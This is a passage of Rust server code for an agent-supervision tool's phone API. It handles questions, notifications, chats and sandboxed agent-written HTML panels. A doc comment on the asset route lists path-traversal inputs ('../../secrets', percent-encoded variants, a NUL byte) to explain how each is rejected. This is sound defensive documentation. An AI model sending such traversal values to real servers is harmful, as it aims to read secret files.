7151        .map(|f| f.view(comparison.excerpt))
7152        .collect::<Option<Vec<_>>>()?;
7153    Some(PostingView {
7154        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7155        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7156        fields,
7157    })
7158}
7159
7160impl QuestionView {
7161    /// The view of `question`, reading who is waiting on it from `store`.
7162    ///
7163    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7164    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7165        let base = md::ImageBase::QuestionPanel {
7166            id: question.id.clone(),
7167        };
7168        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7169        Self {
7170            choice_effects: question
7171                .choices
7172                .iter()
7173                .filter_map(|c| {
7174                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7175                })
7176                .collect(),
7177            record_revision: question_record_revision(&question),
7178            detail_md: md::to_nodes(&question.detail, &base),
7179            posting_view: posting_view(&question, &base),
7180            thread_bodies_md: question
7181                .thread
7182                .iter()
7183                .map(|t| md::to_nodes(&t.body, &base))
7184                .collect(),
7185            thread_notes_md: question
7186                .thread
7187                .iter()
7188                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7189                .collect(),
7190            deputy_exhausted: store.deputy_exhausted(&question),
7191            waiting_on_agent: question.waiting_on_agent(),
7192            holder,
7193            deputies_enabled: deputies_enabled(cfg, &question),
7194            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7195            run_is_task: question.run_names_task(),
7196            origin_chat: None,
7197            origin_chat_closed: false,
7198            can_consult_chat: false,
7199            question,
7200        }
7201    }
7202
7203    /// Fill `origin_chat` from the queue and the talks.
7204    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
7205        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7206        self.can_consult_chat = consult.is_some();
7207        let talk =
7208            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
7209        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7210        self.origin_chat = talk.map(|t| t.id);
7211        self
7212    }
7213}
7214
7215/// The config this repository resolves, or `None` when it cannot be read.
7216/// Discovering is git processes plus a config render, so a request that needs
7217/// it for many items takes it once and passes it down.
7218fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7219    Config::discover(repo, None).ok().map(|(c, _)| c)
7220}
7221
7222/// Can `magi serve` start a deputy for this question under `cfg`?
7223fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7224    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7225}
7226
7227/// The views `GET /api/questions` answers. `load` runs at most once, however
7228/// many questions there are, and not at all when there are none.
7229fn question_views(
7230    qs: Vec<Question>,
7231    store: &ask::Questions,
7232    load: impl FnOnce() -> Option<Config>,
7233) -> Vec<QuestionView> {
7234    if qs.is_empty() {
7235        return Vec::new();
7236    }
7237    let cfg = load();
7238    qs.into_iter()
7239        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7240        .collect()
7241}
7242
7243/// Who is honestly waiting on an open question right now: `"asker"` (the
7244/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7245/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7246/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7247/// up, or the question never had anyone listening (a conductor question or a
7248/// merge approval from before deputies, or not yet given one).
7249///
7250/// `None` for a question that is settled, and for one that is not an agent's
7251/// to wait on at all (a release notice).
7252fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7253    if !q.status.open() {
7254        return None;
7255    }
7256    if q.cwd.is_none()
7257        && q.deputy.is_none()
7258        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7259    {
7260        return crate::deputy::kind_of(q).map(|_| "nobody");
7261    }
7262    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7263        Some(_) if q.deputy.is_some() => "deputy",
7264        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7265        Some(_) => "asker",
7266        None => "nobody",
7267    })
7268}
7269
7270/// `GET /api/questions`.
7271///
7272/// Everything, not just the open ones: an answered question is the record of a
7273/// decision, and the phone is where the operator goes back to check what they
7274/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7275async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7276    blocking(move || {
7277        let questions = ui.questions.list();
7278        let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7279        Ok(Json(
7280            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7281                .into_iter()
7282                .map(|view| view.with_origin(&tasks, &talks))
7283                .collect(),
7284        ))
7285    })
7286    .await
7287}
7288
7289/// Question content and answer controls never wait for task/chat provenance.
7290async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7291    blocking(move || {
7292        Ok(Json(question_views(
7293            ui.questions.list(),
7294            &ui.questions,
7295            || deputy_config(&ui.repo),
7296        )))
7297    })
7298    .await
7299}
7300
7301fn question_record_revision(question: &Question) -> String {
7302    use std::hash::{Hash as _, Hasher as _};
7303    let mut hash = std::hash::DefaultHasher::new();
7304    serde_json::to_vec(question)
7305        .expect("serializable question")
7306        .hash(&mut hash);
7307    format!("{:016x}", hash.finish())
7308}
7309
7310#[derive(Serialize)]
7311struct QuestionOriginView {
7312    id: String,
7313    record_revision: String,
7314    origin_chat: Option<String>,
7315    origin_chat_closed: bool,
7316    can_consult_chat: bool,
7317}
7318
7319async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7320    blocking(move || {
7321        let questions = ui.questions.list();
7322        let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7323        Ok(Json(
7324            questions
7325                .into_iter()
7326                .map(|question| {
7327                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7328                    let can_consult_chat = consult.is_some();
7329                    let talk = consult
7330                        .or_else(|| crate::consult::associated_talk(&tasks, &talks, &question));
7331                    QuestionOriginView {
7332                        record_revision: question_record_revision(&question),
7333                        id: question.id,
7334                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7335                        origin_chat: talk.map(|talk| talk.id),
7336                        can_consult_chat,
7337                    }
7338                })
7339                .collect(),
7340        ))
7341    })
7342    .await
7343}
7344
7345/// Only the task ancestry and chats these questions actually reference. Run
7346/// mappings share the reconciled queue index; exact task references bypass it.
7347/// No question means no task/chat I/O, including no index reconciliation.
7348fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<(Vec<Task>, Vec<Talk>)> {
7349    fn task_for_run(
7350        ui: &Ui,
7351        index: &mut Option<Vec<Arc<TaskRelation>>>,
7352        run: &str,
7353        loaded: &HashMap<String, Task>,
7354    ) -> ApiResult<Option<Task>> {
7355        if !plain_record_id(run) {
7356            return Ok(None);
7357        }
7358        if index.is_none() {
7359            *index = Some(ui.indexed_tasks()?);
7360        }
7361        Ok(index
7362            .as_ref()
7363            .expect("loaded index")
7364            .iter()
7365            .find(|task| task.runs.iter().any(|id| id == run))
7366            .and_then(|task| {
7367                loaded
7368                    .get(&task.id)
7369                    .cloned()
7370                    .or_else(|| ui.queue.get(&task.id).ok())
7371            })
7372            .filter(|task| task.runs.iter().any(|id| id == run)))
7373    }
7374    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7375        plain_record_id(id)
7376            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7377            .flatten()
7378            .filter(|task| task.id == id)
7379    };
7380    let mut index = None;
7381    let mut tasks = HashMap::new();
7382    let mut talks = HashMap::new();
7383    for question in questions {
7384        let mut current = if question.node == crate::conduct::NODE {
7385            direct_task(&question.run, &tasks)
7386        } else {
7387            task_for_run(ui, &mut index, &question.run, &tasks)?
7388        };
7389        let mut seen = HashSet::new();
7390        for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7391            let Some(task) = current.take() else {
7392                break;
7393            };
7394            if !seen.insert(task.id.clone()) {
7395                break;
7396            }
7397            let chat = task.chat_talk().map(str::to_owned);
7398            let followup = task.followup.clone();
7399            tasks.insert(task.id.clone(), task);
7400            if let Some(chat) = chat {
7401                if plain_record_id(&chat)
7402                    && !talks.contains_key(&chat)
7403                    && let Ok(talk) = ui.talks.get(&chat)
7404                {
7405                    talks.insert(chat, talk);
7406                }
7407                break;
7408            }
7409            let Some(followup) = followup else {
7410                break;
7411            };
7412            current = match followup.origin_task {
7413                Some(id) => direct_task(&id, &tasks),
7414                None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7415            };
7416        }
7417    }
7418    let mut tasks: Vec<Task> = tasks.into_values().collect();
7419    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7420    Ok((tasks, talks.into_values().collect()))
7421}
7422
7423/// `GET /api/notifications`: not dismissed, newest first, with the unread
7424/// count so the badge and the list cannot disagree.
7425async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7426    blocking(move || {
7427        let items = ui.notices.list();
7428        let unread = items.iter().filter(|n| n.unread()).count();
7429        let items: Vec<_> = items
7430            .into_iter()
7431            .map(|n| {
7432                let question = crate::notices::answerable_question(&n, &ui.questions);
7433                let mut item = serde_json::to_value(n)?;
7434                item["answerable_question"] = serde_json::json!(question);
7435                Ok(item)
7436            })
7437            .collect::<anyhow::Result<_>>()?;
7438        Ok(Json(
7439            serde_json::json!({ "unread": unread, "items": items }),
7440        ))
7441    })
7442    .await
7443}
7444
7445fn notice_error(e: anyhow::Error) -> ApiError {
7446    // An unknown or malformed id and a vanished file are the same answer to
7447    // the phone: that notification is gone.
7448    ApiError::not_found(format!("{e:#}"))
7449}
7450
7451/// `POST /api/notifications/{id}/read`.
7452async fn notification_read(
7453    State(ui): State<Arc<Ui>>,
7454    Path(id): Path<String>,
7455) -> ApiResult<Json<Notice>> {
7456    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7457}
7458
7459/// `POST /api/notifications/{id}/dismiss`.
7460async fn notification_dismiss(
7461    State(ui): State<Arc<Ui>>,
7462    Path(id): Path<String>,
7463) -> ApiResult<Json<Notice>> {
7464    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7465}
7466
7467/// `POST /api/notifications/read-all`.
7468async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7469    blocking(move || {
7470        let changed = ui.notices.mark_all_read()?;
7471        Ok(Json(serde_json::json!({ "marked": changed })))
7472    })
7473    .await
7474}
7475
7476/// The body of `POST /api/questions/{id}/answer`.
7477///
7478/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7479/// a bad request rather than a guess: an answer magi invented is worse than a
7480/// question left open.
7481#[derive(Debug, Default, Deserialize)]
7482#[serde(default, deny_unknown_fields)]
7483struct NewAnswer {
7484    choice: Option<String>,
7485    text: Option<String>,
7486}
7487
7488async fn question_answer(
7489    State(ui): State<Arc<Ui>>,
7490    Path(id): Path<String>,
7491    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7492) -> ApiResult<Json<QuestionView>> {
7493    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7494    let answer = match (body.choice, body.text) {
7495        (Some(c), None) => Answer::Choice(c),
7496        (None, Some(t)) => Answer::Text(t),
7497        (Some(_), Some(_)) => {
7498            return Err(ApiError::bad_request(
7499                "send either `choice` or `text`, not both",
7500            ));
7501        }
7502        (None, None) => {
7503            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7504        }
7505    };
7506
7507    blocking(move || {
7508        let id = resolve_question(&ui.questions, &id)?;
7509        let q = ui
7510            .questions
7511            .get(&id)
7512            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7513        if !q.status.open() {
7514            // Answered from the terminal, or by another phone, in between the
7515            // list and the tap. The UI shows the recorded answer rather than an
7516            // error, so it needs the record, not just the status.
7517            return Err(ApiError::conflict(format!(
7518                "question {} is already {}",
7519                q.short(),
7520                q.status.as_str()
7521            )));
7522        }
7523        // `Question::answer` owns the rules - an unoffered choice, free text on
7524        // a multiple-choice question, an empty reply - so the route does not
7525        // restate them and cannot drift from the CLI's behaviour.
7526        let cfg = deputy_config(&ui.repo);
7527        let (q, ()) = ui
7528            .questions
7529            .update(&q.id, |r| r.answer(answer))
7530            .map_err(ApiError::bad_request_from)?;
7531        let (tasks, talks) =
7532            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7533        Ok(Json(
7534            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7535        ))
7536    })
7537    .await
7538}
7539
7540/// A dedicated status avoids the client's settled-question 409 handling.
7541fn question_text_error(e: anyhow::Error) -> ApiError {
7542    let reason = e
7543        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7544        .map(|e| e.reason);
7545    let error = ApiError::bad_request_from(e);
7546    if let Some(reason) = reason {
7547        ApiError {
7548            text_reason: Some(reason),
7549            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7550        }
7551    } else {
7552        error
7553    }
7554}
7555
7556/// The body of `POST /api/questions/{id}/say`.
7557#[derive(Debug, Deserialize)]
7558#[serde(deny_unknown_fields)]
7559struct NewSay {
7560    body: String,
7561}
7562
7563/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7564///
7565/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7566/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7567/// file, so there is no turn to serialize against and no
7568/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7569/// is a *different* process - the run parked behind `magi ask` - and picks
7570/// the reply up on its own poll of the very same file, same as an answer
7571/// does.
7572async fn question_say(
7573    State(ui): State<Arc<Ui>>,
7574    Path(id): Path<String>,
7575    body: std::result::Result<Json<NewSay>, JsonRejection>,
7576) -> ApiResult<Json<QuestionView>> {
7577    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7578    blocking(move || {
7579        let id = resolve_question(&ui.questions, &id)?;
7580        let q = ui
7581            .questions
7582            .get(&id)
7583            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7584        if !q.status.open() {
7585            // Same granularity as `question_answer`: answered or abandoned in
7586            // between the list and the tap is not this route's error to
7587            // explain any differently.
7588            return Err(ApiError::conflict(format!(
7589                "question {} is already {}",
7590                q.short(),
7591                q.status.as_str()
7592            )));
7593        }
7594        // `Question::say` owns the one rule that matters here - an empty
7595        // message tells the agent nothing - so the route does not restate it.
7596        let cfg = deputy_config(&ui.repo);
7597        let (q, ()) = ui
7598            .questions
7599            .update(&q.id, |r| {
7600                if body.body.trim().is_empty() {
7601                    return r.say(body.body);
7602                }
7603                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7604                r.say(body.body)
7605            })
7606            .map_err(question_text_error)?;
7607        let (tasks, talks) =
7608            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7609        Ok(Json(
7610            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7611        ))
7612    })
7613    .await
7614}
7615
7616/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7617/// came from. The question stays open: the chat agent answers it with `magi
7618/// answer`, or puts the decision to the owner in the conversation.
7619///
7620/// Answers 202 and runs the turn in the background, like every route that
7621/// spends agent calls. The text is queued as a draft of the existing talk, and
7622/// the turn goes through the talk's own gate and session; no seat or waiter is
7623/// started here.
7624async fn question_consult(
7625    State(ui): State<Arc<Ui>>,
7626    Path(id): Path<String>,
7627) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7628    let (view, reclaimed) = blocking({
7629        let ui = Arc::clone(&ui);
7630        move || {
7631            let id = resolve_question(&ui.questions, &id)?;
7632            let q = ui
7633                .questions
7634                .get(&id)
7635                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7636            if !q.status.open() {
7637                return Err(ApiError::conflict(format!(
7638                    "question {} is already {}",
7639                    q.short(),
7640                    q.status.as_str()
7641                )));
7642            }
7643            let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7644            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7645                return Err(ApiError::conflict(format!(
7646                    "question {} has no chat to ask",
7647                    q.short()
7648                )));
7649            };
7650            // Read the config before `begin` saves anything: a failure here
7651            // must leave no consult record or draft behind, or a retry would
7652            // see `fresh == false` and never start the turn.
7653            let cfg = if q.consult.is_none() {
7654                Some(Config::discover(&talk.repo, None)?.0)
7655            } else {
7656                None
7657            };
7658            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7659            let claim = if fresh {
7660                match ui.begin_queued_talk_turn(&talk.id)? {
7661                    Some(turn_guard) => {
7662                        let talk = ui.talks.get(&talk.id)?;
7663                        let cfg = match cfg {
7664                            Some(cfg) => cfg,
7665                            None => Config::discover(&talk.repo, None)?.0,
7666                        };
7667                        Some((talk, cfg, turn_guard))
7668                    }
7669                    None => None,
7670                }
7671            } else {
7672                None
7673            };
7674            let q = ui.questions.get(&q.id)?;
7675            let cfg = deputy_config(&ui.repo);
7676            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
7677            Ok((view, claim))
7678        }
7679    })
7680    .await?;
7681    if let Some((talk, cfg, turn_guard)) = reclaimed {
7682        let talks = ui.talks.clone();
7683        let id = talk.id.clone();
7684        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7685    }
7686    Ok((StatusCode::ACCEPTED, Json(view)))
7687}
7688
7689/// Expand an id or short id to exactly one question id.
7690fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7691    if plain_record_id(id) && store.path_of(id).is_file() {
7692        return Ok(id.to_owned());
7693    }
7694    pick(
7695        store.list().into_iter().map(|q| q.id).collect(),
7696        id,
7697        "question",
7698    )
7699}
7700
7701/// `GET /api/questions/{id}/panel`.
7702///
7703/// The panel an agent wrote for this question, as `text/html` under
7704/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7705/// A question without one is a 404 rather than an empty page: the client
7706/// preflights this route with `HEAD` and must be able to tell "no panel" from
7707/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7708/// parent document so it cannot tell the difference by looking.
7709///
7710/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7711/// sanitises or minifies it - a sanitiser is a list of things someone thought
7712/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7713/// is the direction that stays safe when an agent writes markup nobody
7714/// predicted.
7715async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7716    blocking(move || {
7717        let id = resolve_question(&ui.questions, &id)?;
7718        let Some(html) = ui.questions.panel_html(&id) else {
7719            return Err(ApiError::not_found(format!("question {id} has no panel")));
7720        };
7721        Ok(panel_response(
7722            "text/html; charset=utf-8",
7723            false,
7724            html.into_bytes(),
7725        ))
7726    })
7727    .await
7728}
7729
7730/// `GET /api/questions/{id}/asset/{name}`.
7731///
7732/// One file from the question's own panel directory, so a panel can show a
7733/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7734/// having to allow anything off this machine.
7735///
7736/// This is the only route in the server where a client names a file, so it is
7737/// the only one with a traversal surface, and the name is checked by
7738/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7739/// what is worth being explicit about, because the answer is not "all of it in
7740/// one place":
7741///
7742/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7743///   the raw request path and `{name}` spans exactly one segment, so a real
7744///   slash makes the request too long for the route and the router answers 404.
7745/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7746///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7747///   `..\secrets` respectively, which look like plain filenames to the router.
7748///   The validator refuses them here - both for the literal `..` and because
7749///   `/` and `\` are not in the permitted character set - and answers 400.
7750/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7751///   the platform's path API is not, and it is refused here for the same
7752///   reason: NUL is not a permitted character.
7753/// * [`Questions::panel_asset`] validates again on read, so the check is not
7754///   load-bearing in only one place. This route's own check exists so the
7755///   failure is a 400 that says which name was wrong, rather than a store error
7756///   the operator has to interpret.
7757async fn question_asset(
7758    State(ui): State<Arc<Ui>>,
7759    Path((id, name)): Path<(String, String)>,
7760) -> ApiResult<Response> {
7761    // Before any filesystem work and before any path is built: a name this
7762    // server will not serve should not become a `PathBuf` at all.
7763    if !crate::ask::valid_asset_name(&name) {
7764        return Err(ApiError::bad_request(format!(
7765            "`{name}` is not a usable asset name"
7766        )));
7767    }
7768    blocking(move || {
7769        let id = resolve_question(&ui.questions, &id)?;
7770        let asset = ui
7771            .questions
7772            .panel_asset(&id, &name)
7773            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7774        let Some(bytes) = asset else {
7775            return Err(ApiError::not_found(format!(
7776                "question {id} has no asset `{name}`"
7777            )));
7778        };
7779        Ok(panel_response(
7780            asset_content_type(&name),
7781            is_svg(&name),
7782            bytes,
7783        ))
7784    })
7785    .await
7786}
7787
7788/// Content type for a panel asset, from a closed whitelist.
7789///
7790/// A whitelist with an `application/octet-stream` fallback rather than a
7791/// guess, because the one answer that must never come out of here is
7792/// `text/html`. An agent that writes `notes.html` into its panel directory and
7793/// links it would otherwise get its own markup rendered at the top level of the
7794/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7795/// magi's origin - which is precisely the thing the panel design exists to
7796/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7797///
7798/// `nosniff` accompanies this on every response, so a browser cannot decide it
7799/// knows better than the type we sent.
7800fn asset_content_type(name: &str) -> &'static str {
7801    match extension(name).as_deref() {
7802        Some("png") => "image/png",
7803        Some("jpg" | "jpeg") => "image/jpeg",
7804        Some("gif") => "image/gif",
7805        Some("webp") => "image/webp",
7806        Some("svg") => "image/svg+xml",
7807        Some("css") => "text/css; charset=utf-8",
7808        Some("txt") => "text/plain; charset=utf-8",
7809        _ => "application/octet-stream",
7810    }
7811}
7812
7813/// Is this an SVG, and therefore a file that must never be opened at the top
7814/// level?
7815fn is_svg(name: &str) -> bool {
7816    extension(name).as_deref() == Some("svg")
7817}
7818
7819/// Lowercased extension, or `None` for a name without one.
7820fn extension(name: &str) -> Option<String> {
7821    name.rsplit_once('.')
7822        .map(|(_, ext)| ext.to_ascii_lowercase())
7823}
7824
7825/// Every panel response, with the four headers that make it safe and, for an
7826/// SVG, a fifth.
7827///
7828/// One function rather than a header list per handler, because a panel route
7829/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7830/// model gone, silently, on one of two routes. Adding a third panel route later
7831/// means calling this, and there is nowhere else to build a panel response.
7832///
7833/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7834/// as an `<img src>` inside the panel that script cannot run - but the asset
7835/// URL is also a plain URL an operator can be talked into opening in a tab,
7836/// where it is a document on magi's own origin. `Content-Disposition:
7837/// attachment` makes the browser download it instead of rendering it, which
7838/// closes that door without taking away the ability to draw a diff. Raster
7839/// images have no such execution surface and are left inline, so tapping a
7840/// screenshot still shows it.
7841fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7842    let mut res = (
7843        [
7844            (header::CONTENT_TYPE, content_type),
7845            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7846            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7847            (header::REFERRER_POLICY, "no-referrer"),
7848        ],
7849        body,
7850    )
7851        .into_response();
7852    if download {
7853        res.headers_mut().insert(
7854            header::CONTENT_DISPOSITION,
7855            HeaderValue::from_static("attachment"),
7856        );
7857    }
7858    res
7859}
7860
7861/// A talk as the phone reads it.
7862///
7863/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7864/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7865/// parses markdown itself - and the process-local `thinking` hint.
7866#[derive(Debug, Serialize)]
7867struct TalkView {
7868    #[serde(flatten)]
7869    talk: Talk,
7870    turn_bodies_md: Vec<Vec<md::Node>>,
7871    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7872    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7873    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7874    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7875    /// this server process.
7876    ///
7877    /// This is deliberately not durable: another server process cannot see
7878    /// it, and a restarted server must not claim an old turn is live. It is a
7879    /// progress hint rather than proof a reply landed; the transcript remains
7880    /// the source of truth for that.
7881    thinking: bool,
7882    /// Context-window usage, derived per request - see
7883    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7884    /// and each mutation) so the phone needs no extra call or polling.
7885    context: talk::ContextUsage,
7886    /// `[talk] operator_name`, when configured; the Chat labels the
7887    /// operator's turns with it.
7888    operator_name: Option<String>,
7889    /// The active persona's display name; `None` for the default voice.
7890    persona_name: Option<String>,
7891    /// URL of the avatar for the conversation's persona (the default voice
7892    /// included). Server-built; a configured `icon` never reaches the client.
7893    persona_avatar: String,
7894    /// Operator avatar; display only and independent of repository config.
7895    operator_avatar: String,
7896    magi_avatar: String,
7897}
7898
7899impl TalkView {
7900    /// Reads the talk's repository config itself; a config that cannot be
7901    /// read leaves the window unknown but never fails the conversation.
7902    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7903        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7904        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7905    }
7906
7907    /// As [`Self::new`], with the config already in hand (the list reads one
7908    /// per repository, not one per conversation).
7909    fn with_config(
7910        talk: Talk,
7911        thinking: bool,
7912        cfg: Option<&Config>,
7913        home: &FsPath,
7914        cache: &id_links::IndexCache,
7915    ) -> Self {
7916        let references = cache.for_talk(home, &talk);
7917        Self::with_references(talk, thinking, cfg, home, &references)
7918    }
7919
7920    fn with_references(
7921        mut talk: Talk,
7922        thinking: bool,
7923        cfg: Option<&Config>,
7924        home: &FsPath,
7925        references: &id_links::IdIndex,
7926    ) -> Self {
7927        // This owned value is the display DTO; never write it back to the talk store.
7928        let snapshot = talk.clone();
7929        for (index, turn) in talk.turns.iter_mut().enumerate() {
7930            let original = &snapshot.turns[index];
7931            if turn.messages.is_empty() {
7932                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7933                    turn.messages.push(talk::Message {
7934                        sender: Some(talk::Sender::Magi),
7935                        body: original.body.clone(),
7936                        display: Some(display),
7937                        attachments: original.attachments.clone(),
7938                        reply: None,
7939                    });
7940                }
7941            } else {
7942                for (i, message) in turn.messages.iter_mut().enumerate() {
7943                    message.display =
7944                        talk::notice_display(&snapshot, original, original.messages.get(i));
7945                    if message.display.is_some() {
7946                        message.sender = Some(talk::Sender::Magi);
7947                    }
7948                }
7949            }
7950        }
7951        for message in &mut talk.pending_messages {
7952            if message.display.is_none()
7953                && (message.sender == Some(talk::Sender::Magi)
7954                    || snapshot
7955                        .completion_notices
7956                        .iter()
7957                        .any(|r| r.notice == message.body))
7958            {
7959                message.display = crate::prompt::legacy_notice_display(&message.body);
7960                if message.display.is_some() {
7961                    message.sender = Some(talk::Sender::Magi);
7962                }
7963            }
7964        }
7965        if talk.pending_messages.is_empty()
7966            && snapshot
7967                .completion_notices
7968                .iter()
7969                .any(|r| r.notice == talk.pending)
7970            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7971        {
7972            talk.pending_messages.push(talk::Message {
7973                sender: Some(talk::Sender::Magi),
7974                display: Some(display),
7975                body: talk.pending.clone(),
7976                attachments: talk.pending_attachments.clone(),
7977                reply: None,
7978            });
7979        }
7980        let excerpts: Vec<Vec<Option<String>>> = talk
7981            .turns
7982            .iter()
7983            .map(|turn| {
7984                turn.messages
7985                    .iter()
7986                    .map(|m| {
7987                        m.display
7988                            .as_ref()
7989                            .map(|d| d.facts.chars().take(240).collect())
7990                    })
7991                    .collect()
7992            })
7993            .collect();
7994        for turn in &mut talk.turns {
7995            let provenance = talk::sender(turn, None);
7996            turn.sender = Some(provenance);
7997            for message in &mut turn.messages {
7998                message.sender = Some(message.sender.unwrap_or(provenance));
7999            }
8000        }
8001        // Old reply snapshots have only a role; recover provenance from their target.
8002        let senders: Vec<Vec<talk::Sender>> = talk
8003            .turns
8004            .iter()
8005            .map(|turn| {
8006                if turn.messages.is_empty() {
8007                    vec![talk::sender(turn, None)]
8008                } else {
8009                    turn.messages
8010                        .iter()
8011                        .map(|m| talk::sender(turn, Some(m)))
8012                        .collect()
8013                }
8014            })
8015            .collect();
8016        for reply in talk
8017            .turns
8018            .iter_mut()
8019            .flat_map(|t| t.messages.iter_mut())
8020            .chain(talk.pending_messages.iter_mut())
8021            .filter_map(|m| m.reply.as_mut())
8022        {
8023            if let Some(Some(excerpt)) = excerpts
8024                .get(reply.target.turn)
8025                .and_then(|ms| ms.get(reply.target.message))
8026            {
8027                reply.excerpt = excerpt.clone();
8028                reply.sender = Some(talk::Sender::Magi);
8029            }
8030            if reply.sender.is_none() {
8031                reply.sender = senders
8032                    .get(reply.target.turn)
8033                    .and_then(|messages| messages.get(reply.target.message))
8034                    .copied();
8035            }
8036        }
8037        let context = talk::context_usage(&talk, cfg);
8038        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8039            .turns
8040            .iter()
